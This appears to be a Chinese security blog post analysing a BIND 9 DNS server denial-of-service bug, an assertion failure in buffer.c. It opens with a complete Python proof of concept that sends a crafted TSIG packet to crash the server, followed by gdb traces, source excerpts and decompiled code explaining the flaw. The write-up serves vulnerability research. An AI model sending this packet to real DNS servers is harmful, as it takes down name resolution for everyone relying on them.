作者：k0shl 转载请注明出处：https://whereisk0shl.top
2018年的最后一个月，一年又要过去了....
漏洞说明BIND 9是一款著名的DNS服务端，其中，buffer.c存在一处断言导致的拒绝服务漏洞，在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞，这个漏洞是由于buffer.c中会有一个对于长度的判断，如果我们构造特殊的数据包，加上/0，会导致长度判断不通过，导致BIND 9会进入assert断言处理，从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
PoC:
import socket import struct TARGET = ('192.168.200.10', 53) Q_A = 1 Q_TSIG = 250 DNS_MESSAGE_HEADERLEN = 12 def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512): query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01" sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1 tsig_rr = build_tsig_rr(sweet_spot) return query_A + tsig_rr def int16(n): return struct.pack("!H", n) def build_tsig_rr(bind_demarshalled_size): signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09" "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00") tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00" necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields) necessary_bytes += 2 + 2 # length fields # from sizeof(TSIG RR) bytes conforming the TSIG RR # bind9 uses sizeof(TSIG RR) - 16 to build its own sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16) tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields tsig_data = algo_name + signature_data return tsig_hdr + int16(len(tsig_data)) + tsig_data def generate_padding(n): max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d] buckets = [1] * len(max_per_bucket) min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte max_size = sum(max_per_bucket) + len(buckets) + 2 if not(min_size <= n <= max_size): raise RuntimeException("unsupported amount of bytes") curr_idx, n = 0, n - min_size while n > 0: next_n = max(n - (max_per_bucket[curr_idx] - 1), 0) buckets[curr_idx] = 1 + n - next_n n, curr_idx = next_n, curr_idx + 1 n_padding = lambda amount: chr(amount) + "A" * amount stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00" return stringify(buckets[:4]), stringify(buckets[4:]) if __name__ == "__main__": bombita = build_bind_nuke() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(bombita, TARGET) s.close() 漏洞分析BIND 9是一款著名的DNS服务端，其中，buffer.c存在一处断言导致的拒绝服务漏洞，在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞，这个漏洞是由于buffer.c中会有一个对于长度的判断，如果我们构造特殊的数据包，加上/0，会导致长度判断不通过，导致BIND 9会进入assert断言处理，从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先部署BIND 9服务，这时候linux会开启53端口，gdb附加，发送畸形数据包。
可以看到Payload在Additional records字段中，数据包发送后，gdb会命中断点。
gdb-peda$ run Starting program: /usr/sbin/named [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New process 9722] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New Thread 0xb751ab40 (LWP 9723)] [New Thread 0xb6d19b40 (LWP 9724)] [New Thread 0xb6518b40 (LWP 9725)] Program received signal SIGABRT, Aborted. [Switching to Thread 0xb751ab40 (LWP 9723)] [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x25fa ECX: 0x25fb EDX: 0x6 ESI: 0x1 EDI: 0xb7b23000 --> 0x1a5da8 EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp) EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7fdebdc <__kernel_vsyscall+12>: nop 0xb7fdebdd <__kernel_vsyscall+13>: nop 0xb7fdebde <__kernel_vsyscall+14>: int 0x80 => 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp 0xb7fdebe1 <__kernel_vsyscall+17>: pop edx 0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx 0xb7fdebe3 <__kernel_vsyscall+19>: ret 0xb7fdebe4: int3 [------------------------------------stack-------------------------------------] 0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") 0004| 0xb7515a68 --> 0x6 0008| 0xb7515a6c --> 0x25fb 0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>: xchg ebx,edi) 0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8) 0028| 0xb7515a80 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGABRT这时候接收到了一个SIGABRT信号，在调用abort后会到达这个位置，从而中止DNS服务，通过bt的方法回溯一下堆栈调用情况。
gdb-peda$ bt #0 0xb7fdebe0 in __kernel_vsyscall () #1 0xb79ab307 in __GI_raise (sig=sig@entry=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #2 0xb79ac9c3 in __GI_abort () at abort.c:89 #3 0x8002da86 in ?? () #4 0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95 #5 0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95 #6 0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100 #7 0xb7e58b08 in ?? () from /usr/lib/libdns.so.100 #8 0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100 #9 0x80021417 in ?? () #10 0x80021851 in ?? () #11 0x80022ac4 in ?? () #12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95 #13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309 #14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129可以看到，在#4位置调用了isc_assertion_failed，随后执行了abort然后vsyscall中止服务，#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。
void isc__buffer_add(isc_buffer_t *b, unsigned int n) { /* * Increase the 'used' region of 'b' by 'n' bytes. */ REQUIRE(ISC_BUFFER_VALID(b)); REQUIRE(b->used + n <= b->length); ISC__BUFFER_ADD(b, n); }在源码中关于isc__buffer_add的描述并没有涉及assert部分，但实际上REQUIRE就是一个断言的函数调用，我们通过IDA来观察这个过程。
首先，当服务端接收到数据包的时候，根据additional records字段会先调用dns_name_towire函数处理名称部分。
isc_result_t dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) { …… dns_name_init(&gp, po); dns_name_init(&gs, so); isc_buffer_init(&gws, gb, sizeof (gb)); offset = target->used; /*XXX*/ methods = dns_compress_getmethods(cctx); if ((methods & DNS_COMPRESS_GLOBAL) != 0) gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws); else gf = ISC_FALSE; /* * Will the compression pointer reduce the message size? */ if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length) gf = ISC_FALSE; if (gf) { if (target->length - target->used < gp.length) return (ISC_R_NOSPACE); (void)memcpy((unsigned char *)target->base + target->used, gp.ndata, (size_t)gp.length); isc_buffer_add(target, gp.length); …… }这里我取了关键的一部分代码，isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。
我们需要跟踪一下gp的值，实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。
isc_boolean_t dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name, dns_name_t *prefix, dns_name_t *suffix, isc_uint16_t *offset, isc_buffer_t *workspace) { REQUIRE(VALID_CCTX(cctx)); REQUIRE(dns_name_isabsolute(name) == ISC_TRUE); REQUIRE(offset != NULL); return (compress_find(cctx->global, name, prefix, suffix, offset, workspace)); }gp的值是name的prefix部分，随后进入isc__buffer_add中。
int __cdecl isc__buffer_add(int a1, int a2) { int result; // eax@1 unsigned int v3; // edx@3 result = a1; if ( !a1 || *(_DWORD *)a1 != 1114990113 ) isc_assertion_failed( (int)"buffer.c", 126, 0, (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))"); v3 = *(_DWORD *)(a1 + 12) + a2; if ( v3 > *(_DWORD *)(a1 + 8) ) isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length"); *(_DWORD *)(a1 + 12) = v3; return result; }当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候，我们来看一下这个过程的值，首先a1+8是name结构体中存放name长度的部分。
[------------------------------------stack-------------------------------------] 0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001") 0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>: add ebx,0x5f0aa) 0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx eax,WORD PTR [esp+0x18]) 0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265") 0020| 0xb74de6c4 --> 0x1 0024| 0xb74de6c8 --> 0x1 0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95 gdb-peda$ x/10x $eax 0xb54c5040: 0x42756621 0xb54c5178 0x00000200 0x0000000c 0xb54c5050: 0x00000000 0x00000000 0xffffffff 0xffffffff 0xb54c5060: 0x00000000 0x00000000注意b54c5040+8h的位置部分，存放的是长度，这个长度的获取时根据DNS数据包中字段的值决定的，但是如果这个值碰上/0，则会结束。
所以重新看一下发送的数据包，如果碰上/0，则会满足v3，也就是总长度大于字段中存放长度的时候，进入断言判断，DNS服务被中止。